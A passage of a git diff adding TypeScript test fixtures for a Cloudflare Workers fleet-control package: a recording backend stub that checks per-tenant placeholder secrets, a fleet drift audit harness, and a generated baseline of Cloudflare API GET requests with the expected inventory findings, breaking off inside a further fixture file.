+  async pruneCleanupReceipts(): Promise<Readonly<{ deleted: number }>> {
+    throw new Error('unused');
+  }
+}
+
+class RecordingBackend implements ProvisioningBackend {
+  readonly kind: ProvisioningBackendKind = 'plain-worker';
+
+  constructor(
+    private readonly ops: AuditOpLogEntry[],
+    private readonly liveByTenant: ReadonlyMap<
+      string,
+      LiveDeployment | undefined
+    >,
+    private readonly ensureMaintenanceThrowTenants: ReadonlySet<string>,
+    private readonly fenceViolations: string[],
+  ) {}
+
+  async findDatabase(): Promise<DatabaseReference | undefined> {
+    throw new Error('unused');
+  }
+
+  async getDatabase(): Promise<DatabaseReference | undefined> {
+    throw new Error('unused');
+  }
+
+  async ensureDatabase(): Promise<DatabaseReference> {
+    throw new Error('unused');
+  }
+
+  async seedDeploymentIdentity(
+    _database: DatabaseReference,
+    _tenantTag: string,
+    _fence: ExternalMutationFence,
+    _options: SeedDeploymentIdentityOptions,
+  ): Promise<void> {
+    throw new Error('unused');
+  }
+
+  async readDeploymentIdentity(): Promise<string | undefined> {
+    throw new Error('unused');
+  }
+
+  async applyMigrations(): Promise<void> {
+    throw new Error('unused');
+  }
+
+  async deployWorker(): Promise<{
+    artifactVersion: string;
+    created: boolean;
+  }> {
+    throw new Error('unused');
+  }
+
+  async promoteWorker(): Promise<void> {
+    throw new Error('unused');
+  }
+
+  // Argument-delivery pins: record A's credentials must never reach record
+  // B's calls.
+  async ensureMaintenance(
+    spec: DeploymentSpec,
+    maintenanceAdminSecret: string,
+    lease: FleetStateLease,
+  ): Promise<MaintenanceHealth> {
+    this.ops.push('ensureMaintenance');
+    if (maintenanceAdminSecret !== `maintenance-secret-${spec.tenantTag}`) {
+      const message = `ensureMaintenance received the wrong maintenance secret for '${spec.tenantTag}'`;
+      this.fenceViolations.push(message);
+      throw new Error(message);
+    }
+    if (lease.tenantTag !== spec.tenantTag) {
+      const message = `ensureMaintenance received a lease for '${lease.tenantTag}' while auditing '${spec.tenantTag}'`;
+      this.fenceViolations.push(message);
+      throw new Error(message);
+    }
+    if (this.ensureMaintenanceThrowTenants.has(spec.tenantTag)) {
+      throw new Error('maintenance re-arm failed');
+    }
+    return HEALTHY_MAINTENANCE;
+  }
+
+  async inspect(
+    spec: DeploymentSpec,
+    maintenanceAdminSecret: string,
+  ): Promise<LiveDeployment | undefined> {
+    this.ops.push('inspect');
+    if (maintenanceAdminSecret !== `maintenance-secret-${spec.tenantTag}`) {
+      const message = `inspect received the wrong maintenance secret for '${spec.tenantTag}'`;
+      this.fenceViolations.push(message);
+      throw new Error(message);
+    }
+    return this.liveByTenant.get(spec.tenantTag);
+  }
+
+  async attestActiveRoute(): Promise<ActiveRouteAttestation> {
+    throw new Error('unused');
+  }
+
+  async removeTraffic(): Promise<void> {
+    throw new Error('unused');
+  }
+
+  async assertTrafficRemoved(): Promise<void> {
+    throw new Error('unused');
+  }
+
+  async revokeCredentials(): Promise<void> {
+    throw new Error('unused');
+  }
+
+  async deleteWorker(): Promise<void> {
+    throw new Error('unused');
+  }
+
+  async assertDatabaseDetached(): Promise<void> {
+    throw new Error('unused');
+  }
+
+  async exportDatabase(): Promise<DatabaseExport> {
+    throw new Error('unused');
+  }
+
+  async deleteDatabase(): Promise<void> {
+    throw new Error('unused');
+  }
+}
+
+/**
+ * Every record reached through `backend.inspect()` gets a clean, matching
+ * live deployment EXCEPT the records whose story is specifically about
+ * inspect-time drift (`inspectAbsent` returns `undefined`; `maintStale` and
+ * `rearmFail` report unarmed maintenance). `missingDeploy`, `recordDupB`,
+ * `staleNotReady`, and `wfpRelease` are absent from this map entirely:
+ * `missingDeploy` never reaches `inspect` at all, exiting at fleet.ts:966's
+ * `!inventoryDeployment` check, while the other three exit earlier still, at
+ * fleet.ts:965's `phase !== 'ready'` gate.
+ */
+function inspectResultsByTenant(): Map<string, LiveDeployment | undefined> {
+  const live = new Map<string, LiveDeployment | undefined>();
+  for (const record of [
+    control,
+    liveDup,
+    recordDupA,
+    namespaceDupA,
+    namespaceDupB,
+    missingNamespace,
+    bucketDupA,
+    bucketDupB,
+    bucketMissing,
+    bucketDrift,
+    dbMismatch,
+    bindingMismatch,
+    routeBroken,
+    routeDup,
+    platformDrift,
+    channelDrift,
+  ]) {
+    live.set(record.tenantTag, cleanLiveDeployment(record));
+  }
+  live.set(inspectAbsent.tenantTag, undefined);
+  live.set(
+    maintStale.tenantTag,
+    cleanLiveDeployment(maintStale, { maintenance: UNARMED_MAINTENANCE }),
+  );
+  live.set(
+    rearmFail.tenantTag,
+    cleanLiveDeployment(rearmFail, { maintenance: UNARMED_MAINTENANCE }),
+  );
+  return live;
+}
+
+/** Runs the current audit against the frozen world through recording collaborators. */
+export async function runFleetAuditBaseline(): Promise<{
+  readonly findings: readonly DriftFinding[];
+  readonly ops: readonly AuditOpLogEntry[];
+}> {
+  const ops: AuditOpLogEntry[] = [];
+  // One array feeds the store's clock fence, the backend's credential pins, and the post-run throw.
+  const fenceViolations: string[] = [];
+  const store = new RecordingFleetStore(
+    AUDIT_WORLD_RECORDS,
+    ops,
+    fenceViolations,
+  );
+  const backend = new RecordingBackend(
+    ops,
+    inspectResultsByTenant(),
+    new Set([rearmFail.tenantTag]),
+    fenceViolations,
+  );
+  const specByTenant = new Map<string, DeploymentSpec>(
+    AUDIT_WORLD_RECORDS.map((record) => [
+      record.tenantTag,
+      specForRecord(record),
+    ]),
+  );
+  // fleet.ts:1091's channel-binding-drift check only evaluates a non-empty
+  // expectation for a `platform`-authored spec that declares
+  // `egressProxyService`; every other record stays `authoredBy: 'external'`.
+  specByTenant.set(
+    channelDrift.tenantTag,
+    specForRecord(channelDrift, {
+      authoredBy: 'platform',
+      egressProxyService: CHANNEL_EGRESS_SERVICE_NAME,
+    }),
+  );
+
+  const findings = await auditFleetDrift({
+    store,
+    records: AUDIT_WORLD_RECORDS,
+    inventory: fleetAuditWorldInventory(),
+    backendFor: (_record) => {
+      ops.push('resolver:backendFor');
+      return backend;
+    },
+    specFor: (record) => {
+      ops.push('resolver:specFor');
+      const spec = specByTenant.get(record.tenantTag);
+      if (!spec) {
+        throw new Error(`no spec fixture for '${record.tenantTag}'`);
+      }
+      return spec;
+    },
+    maintenanceSecretFor: (record) => {
+      ops.push('resolver:maintenanceSecretFor');
+      return `maintenance-secret-${record.tenantTag}`;
+    },
+    staleAfterMs: AUDIT_STALE_AFTER_MS,
+    now: AUDIT_NOW,
+  });
+
+  if (fenceViolations.length > 0) {
+    throw new Error(`fence violated: ${fenceViolations.join('; ')}`);
+  }
+
+  return { findings, ops };
+}
diff --git a/packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts b/packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts
new file mode 100644
index 00000000..f84b0af5
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts
@@ -0,0 +1,691 @@
+// SPDX-License-Identifier: Apache-2.0
+
+/**
+ * GENERATED FILE. DO NOT EDIT BY HAND.
+ */
+
+import type { FleetResourceInventory } from '../../src/types.js';
+import type { DrainRequestRecord } from './fleet-inventory-drain-world.js';
+
+export const DRAIN_BASELINE_REQUESTS = [
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/keys',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/__anchorage_script__:fleet-alpha',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/__anchorage_script__:fleet-broken',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/__anchorage_script__:fleet-wrong-key',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/__anchorage_script__:fleet-drifted',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/__anchorage_script__:fleet-malformed',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/__anchorage_script__:fleet-incomplete',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/alpha.example.test',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/stale.example.test',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/bad-policy.example.test',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/bad-state-egress.example.test',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/storage/kv/namespaces/hosts/values/malformed.example.test',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts?per_page=1000',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-alpha',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-alpha/settings',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-broken',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-broken/settings',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-other-owner',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-other-owner/settings',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-drifted',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet/scripts/fleet-drifted/settings',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/dispatch/namespaces/fleet',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/domains',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/tokens/verify',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/tokens/token-id',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/zones?account.id=account&per_page=50',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/zones?account.id=account&per_page=50&page=2',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/zones/zone-a/workers/routes',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/zones/zone-b/workers/routes',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-state/deployments',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-state/secrets',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-state/versions/version-fleet-state',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-state/subdomain',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-plain/deployments',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-plain/secrets',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-plain/versions/version-fleet-plain',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-plain/subdomain',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-egress/deployments',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-egress/secrets',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-egress/versions/version-fleet-egress',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-egress/subdomain',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-unreadable/deployments',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-unreadable/secrets',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-unreadable/versions/version-fleet-unreadable',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/fleet-unreadable/subdomain',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/d1/database',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/d1/database?page=2',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/durable_objects/namespaces',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/workers/durable_objects/namespaces?page=2',
+    body: undefined,
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/r2/buckets?name_contains=fleet-&order=name&direction=asc&per_page=1000',
+    body: undefined,
+    headers: { 'cf-r2-jurisdiction': 'default' },
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/r2/buckets?name_contains=fleet-&order=name&direction=asc&per_page=1000',
+    body: undefined,
+    headers: { 'cf-r2-jurisdiction': 'eu' },
+  },
+  {
+    method: 'GET',
+    url: 'https://api.cloudflare.com/client/v4/accounts/account/r2/buckets?name_contains=fleet-&order=name&direction=asc&per_page=1000',
+    body: undefined,
+    headers: { 'cf-r2-jurisdiction': 'fedramp' },
+  },
+] as const satisfies readonly DrainRequestRecord[];
+
+export const DRAIN_BASELINE_INVENTORY = {
+  findings: [
+    {
+      tenantTag: 'gamma',
+      environment: 'production',
+      kind: 'stale-script-registration',
+      detail:
+        "script inventory key '__anchorage_script__:fleet-wrong-key' claims 'fleet-other-owner'",
+    },
+    {
+      tenantTag: 'unknown',
+      environment: 'unknown',
+      kind: 'malformed-script-registration',
+      detail:
+        "fleet inventory key '__anchorage_script__:fleet-malformed' is not valid JSON",
+    },
+    {
+      tenantTag: 'delta',
+      environment: 'production',
+      kind: 'malformed-script-registration',
+      detail:
+        "script inventory key '__anchorage_script__:fleet-incomplete' has incomplete ownership metadata",
+    },
+    {
+      tenantTag: 'acme',
+      environment: 'production',
+      kind: 'malformed-route',
+      detail:
+        "host route 'bad-policy.example.test' has inconsistent policy metadata",
+    },
+    {
+      tenantTag: 'acme',
+      environment: 'production',
+      kind: 'malformed-route',
+      detail:
+        "host route 'bad-state-egress.example.test' has invalid state-egress metadata",
+    },
+    {
+      tenantTag: 'unknown',
+      environment: 'unknown',
+      kind: 'malformed-route',
+      detail: "fleet inventory key 'malformed.example.test' is not valid JSON",
+    },
+    {
+      tenantTag: 'beta',
+      environment: 'staging',
+      kind: 'stale-script-registration',
+      detail:
+        "registered script 'fleet-broken' could not be inspected: Error: script 'fleet-broken' has incomplete fleet metadata",
+    },
+    {
+      tenantTag: 'gamma',
+      environment: 'production',
+      kind: 'stale-script-registration',
+      detail:
+        "registered script 'fleet-other-owner' is absent from the dispatch namespace listing",
+    },
+    {
+      tenantTag: 'gamma',
+      environment: 'production',
+      kind: 'stale-script-registration',
+      detail: "registered script 'fleet-other-owner' is missing",
+    },
+    {
+      tenantTag: 'acme',
+      environment: 'production',
+      kind: 'stale-script-registration',
+      detail:
+        "registered script 'fleet-drifted' does not match its live tenant, environment, or database ownership",
+    },
+    {
+      tenantTag: 'orphan',
+      environment: 'production',
+      kind: 'unknown-dispatch-scripts',
+      detail:
+        "dispatch script 'fleet-orphan' has no valid owner-checked registry entry",
+    },
+    {
+      tenantTag: 'acme',
+      environment: 'production',
+      kind: 'stale-route',
+      detail:
+        "host route 'stale.example.test' does not match its script registration owner",
+    },
+    {
+      tenantTag: 'unknown',
+      environment: 'unknown',
+      kind: 'trusted-dispatch-namespace',
+      detail:
+        "dispatch namespace 'fleet' does not attest trusted_workers=false",
+    },
+    {
+      tenantTag: 'unknown',
+      environment: 'unknown',
+      kind: 'unknown-dispatch-scripts',
+      detail:
+        "dispatch namespace 'fleet' reports 1 script(s) missing from the paginated listing",
+    },
+    {
+      tenantTag: 'acme',
+      environment: 'production',
+      kind: 'incomplete-deployment',
+      detail:
+        "trusted Worker 'fleet-state' is publicly reachable on workers.dev, a preview URL, or a zone route",
+    },
+    {
+      tenantTag: 'acme',
+      environment: 'production',
+      kind: 'incomplete-deployment',
+      detail:
+        "trusted Worker 'fleet-egress' is publicly reachable on workers.dev, a preview URL, or a zone route",
+    },
+    {
+      tenantTag: 'unknown',
+      environment: 'unknown',
+      kind: 'incomplete-deployment',
+      detail:
+        "plain Worker 'fleet-unreadable' could not be inventoried: Error: active Worker identity settings are missing",
+    },
+    {
+      tenantTag: 'unknown',
+      environment: 'unknown',
+      kind: 'stale-route',
+      detail:
+        "custom domain 'ghost.example.test' points to a missing or incomplete plain Worker 'fleet-ghost'",
+    },
+    {
+      tenantTag: 'acme',
+      environment: 'production',
+      kind: 'stale-route',
+      detail:
+        "zone route 'state.example.test/*' exposes plain Worker 'fleet-state'",
+    },
+    {
+      tenantTag: 'plain',
+      environment: 'staging',
+      kind: 'stale-route',
+      detail:
+        "zone route 'plain.example.test/*' exposes plain Worker 'fleet-plain'",
+    },
+  ],
+  hostRoutingKvId: 'hosts',
+  dispatchScriptCount: 5,
+  dispatchNamespace: {
+    name: 'fleet',
+    namespaceId: 'dispatch-namespace-id',
+    trustedWorkers: true,
+    scriptCount: 5,
+  },
+  unavailableR2Jurisdictions: Object.freeze([]),
+  scriptRegistrations: [
+    {
+      scriptName: 'fleet-alpha',
+      tenantTag: 'acme',
+      environment: 'production',
+      databaseId: 'db-alpha',
+      routeHostname: 'alpha.example.test',
+    },
+    {
+      scriptName: 'fleet-broken',
+      tenantTag: 'beta',
+      environment: 'staging',
+      databaseId: 'db-broken',
+      routeHostname: 'broken.example.test',
+    },
+    {
+      scriptName: 'fleet-other-owner',
+      tenantTag: 'gamma',
+      environment: 'production',
+      databaseId: 'db-other-owner',
+      routeHostname: 'other-owner.example.test',
+    },
+    {
+      scriptName: 'fleet-drifted',
+      tenantTag: 'acme',
+      environment: 'production',
+      databaseId: 'db-drifted',
+      routeHostname: 'drifted.example.test',
+    },
+  ],
+  deployments: [
+    {
+      backend: 'workers-for-platforms',
+      scriptName: 'fleet-alpha',
+      tenantTag: 'acme',
+      environment: 'production',
+      databaseIds: ['db-alpha'],
+      durableObjectBindings: [
+        {
+          name: 'MAINTENANCE',
+          className: 'Maintenance',
+          namespaceId: 'ns-alpha',
+        },
+      ],
+      serviceBindings: [{ name: 'EGRESS', service: 'fleet-egress' }],
+      queueProducerBindings: [{ name: 'AUDIT', queueName: 'fleet-audit' }],
+      r2BucketBindings: [
+        {
+          name: 'EXPORTS',
+          bucketName: 'fleet-exports',
+          jurisdiction: 'default',
+        },
+      ],
+      plainTextBindings: { DEPLOYMENT_TENANT: 'acme' },
+      secretNames: ['MAINTENANCE_ADMIN'],
+      routeHostnames: ['alpha.example.test', 'stale.example.test'],
+      artifactVersion: 'etag-fleet-alpha',
+      desiredSpecDigest:
+        'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
+      schemaVersion: 2,
+    },
+    {
+      backend: 'workers-for-platforms',
+      scriptName: 'fleet-drifted',
+      tenantTag: 'acme',
+      environment: 'production',
+      databaseIds: ['db-drifted-live'],
+      durableObjectBindings: [],
+      serviceBindings: [],
+      queueProducerBindings: [],
+      r2BucketBindings: [],
+      plainTextBindings: {},
+      secretNames: [],
+      routeHostnames: [],
+      artifactVersion: 'etag-fleet-drifted',
+      desiredSpecDigest:
+        'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
+      schemaVersion: 2,
+    },
+    {
+      backend: 'plain-worker',
+      resourceRole: 'platform-state',
+      resourceGroupId: 'policy-alpha',
+      scriptName: 'fleet-state',
+      tenantTag: 'acme',
+      environment: 'production',
+      databaseIds: ['db-plain'],
+      durableObjectBindings: [
+        { name: 'STATE', className: 'State', namespaceId: 'ns-state' },
+      ],
+      serviceBindings: [{ name: 'EGRESS', service: 'fleet-egress' }],
+      queueProducerBindings: [{ name: 'AUDIT', queueName: 'fleet-audit' }],
+      kvNamespaceBindings: [{ name: 'HOSTS', namespaceId: 'hosts' }],
+      r2BucketBindings: [
+        {
+          name: 'EXPORTS',
+          bucketName: 'fleet-alpha-exports',
+          jurisdiction: 'default',
+        },
+      ],
+      secretNames: ['STATE_CREDENTIAL'],
+      plainTextBindings: {
+        DEPLOYMENT_TENANT: 'acme',
+        FLEET_ENVIRONMENT: 'production',
+        FLEET_SCHEMA_VERSION: '2',
+        FLEET_RESOURCE_ROLE: 'platform-state',
+        FLEET_RESOURCE_GROUP: 'policy-alpha',
+        FLEET_SPEC_DIGEST:
+          'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
+      },
+      routeHostnames: [],
+      zoneRoutes: [
+        {
+          zoneId: 'zone-a',
+          routeId: 'route-state',
+          pattern: 'state.example.test/*',
+        },
+      ],
+      artifactVersion: 'version-fleet-state',
+      desiredSpecDigest:
+        'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
+      schemaVersion: 2,
+    },
+    {
+      backend: 'plain-worker',
+      scriptName: 'fleet-plain',
+      tenantTag: 'plain',
+      environment: 'staging',
+      databaseIds: ['db-plain'],
+      durableObjectBindings: [],
+      serviceBindings: [],
+      queueProducerBindings: [],
+      kvNamespaceBindings: [],
+      r2BucketBindings: [],
+      secretNames: [],
+      plainTextBindings: {
+        DEPLOYMENT_TENANT: 'plain',
+        FLEET_ENVIRONMENT: 'staging',
+        FLEET_SCHEMA_VERSION: '4',
+      },
+      routeHostnames: ['plain.example.test'],
+      zoneRoutes: [
+        {
+          zoneId: 'zone-b',
+          routeId: 'route-plain',
+          pattern: 'plain.example.test/*',
+        },
+      ],
+      artifactVersion: 'version-fleet-plain',
+      schemaVersion: 4,
+    },
+    {
+      backend: 'plain-worker',
+      resourceRole: 'deployment-egress',
+      resourceGroupId: 'policy-alpha',
+      scriptName: 'fleet-egress',
+      tenantTag: 'acme',
+      environment: 'production',
+      databaseIds: [],
+      durableObjectBindings: [],
+      serviceBindings: [],
+      queueProducerBindings: [],
+      kvNamespaceBindings: [],
+      r2BucketBindings: [],
+      secretNames: [],
+      plainTextBindings: {
+        DEPLOYMENT_TENANT: 'acme',
+        FLEET_ENVIRONMENT: 'production',
+        FLEET_SCHEMA_VERSION: '2',
+        FLEET_RESOURCE_ROLE: 'deployment-egress',
+        FLEET_RESOURCE_GROUP: 'policy-alpha',
+      },
+      routeHostnames: [],
+      zoneRoutes: [],
+      artifactVersion: 'version-fleet-egress',
+      schemaVersion: 2,
+    },
+  ],
+  databaseIds: ['db-alpha', 'db-plain'],
+  namespaceIds: ['ns-alpha', 'ns-state'],
+  r2Buckets: [
+    {
+      bucketName: 'fleet-alpha-exports',
+      jurisdiction: 'default',
+      creationDate: '2026-08-01T00:00:00.000Z',
+    },
+    {
+      bucketName: 'fleet-eu-state',
+      jurisdiction: 'eu',
+      creationDate: '2026-08-03T00:00:00.000Z',
+    },
+  ],
+  routes: [
+    {
+      backend: 'workers-for-platforms',
+      surface: 'host-registry',
+      hostname: 'alpha.example.test',
+      scriptName: 'fleet-alpha',
+      tenantTag: 'acme',
+      environment: 'production',
+      policyId: 'policy-alpha',
+      policyHosts: ['api.example.com'],
+      policyDigest:
+        '045d08ae55129b208b03729375751e319888778ae2f9ab9af401234ca11b31b0',
+      stateEgress: {
+        resourceGroupId: 'policy-alpha',
+        stateScriptName: 'fleet-state',
+        credentialDigest:
+          'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
+      },
+    },
+    {
+      backend: 'workers-for-platforms',
+      surface: 'host-registry',
+      hostname: 'stale.example.test',
+      scriptName: 'fleet-alpha',
+      tenantTag: 'acme',
+      environment: 'production',
+      policyId: 'policy-stale',
+      policyHosts: [],
+      policyDigest:
+        'f863229329a0910143f8a475f09d04c5dbe5a0d5cbdda54c343d83616c7e8491',
+    },
+    {
+      backend: 'plain-worker',
+      surface: 'custom-domain',
+      hostname: 'plain.example.test',
+      scriptName: 'fleet-plain',
+      tenantTag: 'plain',
+      environment: 'staging',
+    },
+    {
+      backend: 'plain-worker',
+      surface: 'custom-domain',
+      hostname: 'ghost.example.test',
+      scriptName: 'fleet-ghost',
+      tenantTag: 'unknown',
+      environment: 'unknown',
+    },
+    {
+      backend: 'plain-worker',
+      surface: 'zone-route',
+      zoneId: 'zone-a',
+      routeId: 'route-state',
+      hostname: 'state.example.test/*',
+      scriptName: 'fleet-state',
+      tenantTag: 'acme',
+      environment: 'production',
+    },
+    {
+      backend: 'plain-worker',
+      surface: 'zone-route',
+      zoneId: 'zone-b',
+      routeId: 'route-plain',
+      hostname: 'plain.example.test/*',
+      scriptName: 'fleet-plain',
+      tenantTag: 'plain',
+      environment: 'staging',
+    },
+  ],
+} as const satisfies FleetResourceInventory;
diff --git a/packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts b/packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts
new file mode 100644
index 00000000..cb013bb8
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts
@@ -0,0 +1,598 @@
+// SPDX-License-Identifier: Apache-2.0
+
+/**
+ * Hand-authored deterministic provider world for the `collectFleetInventory`
+ * golden baseline. `scripts/record-drain-baseline.mjs` and
+ * `test/cloudflare-client.test.ts` both import this file; the recorder NEVER
+ * writes it, so the recorded literals can never rewrite their own input.
+ *
+ * The world deliberately drives every interesting drain path: Workers for
+ * Platforms registrations and independent plain Workers, malformed and stale
+ * host-routing KV entries, a registration whose dispatch inspection fails, a
+ * plain Worker whose per-script inventory fails, zone routes, custom domains,
+ * R2 buckets in two of the three scanned jurisdictions, D1 databases, and
+ * Durable Object namespaces.
+ *
+ * It also meets the spec's branch-coverage floor: all seven finding kinds
+ * appear, including the dispatch-namespace trust attestation, the live dispatch
+ * ownership mismatch, both arms of `incomplete-deployment` (public reachability
+ * and a zone route on a trusted Worker), and the host-route state-egress parse
+ * failure.
+ *
+ * PRESERVED BEHAVIOR NOTE: the recorded request ORDER is part of the frozen
+ * baseline, and parts of it come from `Promise.all` sites in the drain
+ * (`cloudflare-client.ts` per-script inventory and dispatch inspection). That
+ * order is stable for this world but is not guaranteed by construction, so a
+ * later rewrite must preserve it deliberately rather than assume it. If a
+ * rewrite legitimately changes concurrency, the ordering change is a
+ * compatibility decision to escalate — not a baseline to quietly re-record.
+ */
+
+import { CloudflareProvisioningClient } from '../../src/cloudflare-client.js';
+import { canonicalDeploymentEgressPolicy } from '../../src/platform-resources.js';
+import type { FleetResourceInventory } from '../../src/types.js';
+import {
+  type CloudflareFetchRecord,
+  type CloudflareFixtureHandler,
+  pageArray,
+  recordingFetch,
+  restProjection,
+  single,
+  testRateCoordinator,
+} from './cloudflare-fetch-fixture.js';
+import { type ProviderWorld, providerWorld } from './provider-world.js';
+
+export const DRAIN_ACCOUNT_ID = 'account';
+export const DRAIN_DISPATCH_NAMESPACE = 'fleet';
+export const DRAIN_HOST_ROUTING_KV_ID = 'hosts';
+
+/** The exact options the recorded baseline was drained with. */
+export const DRAIN_INVENTORY_OPTIONS = {
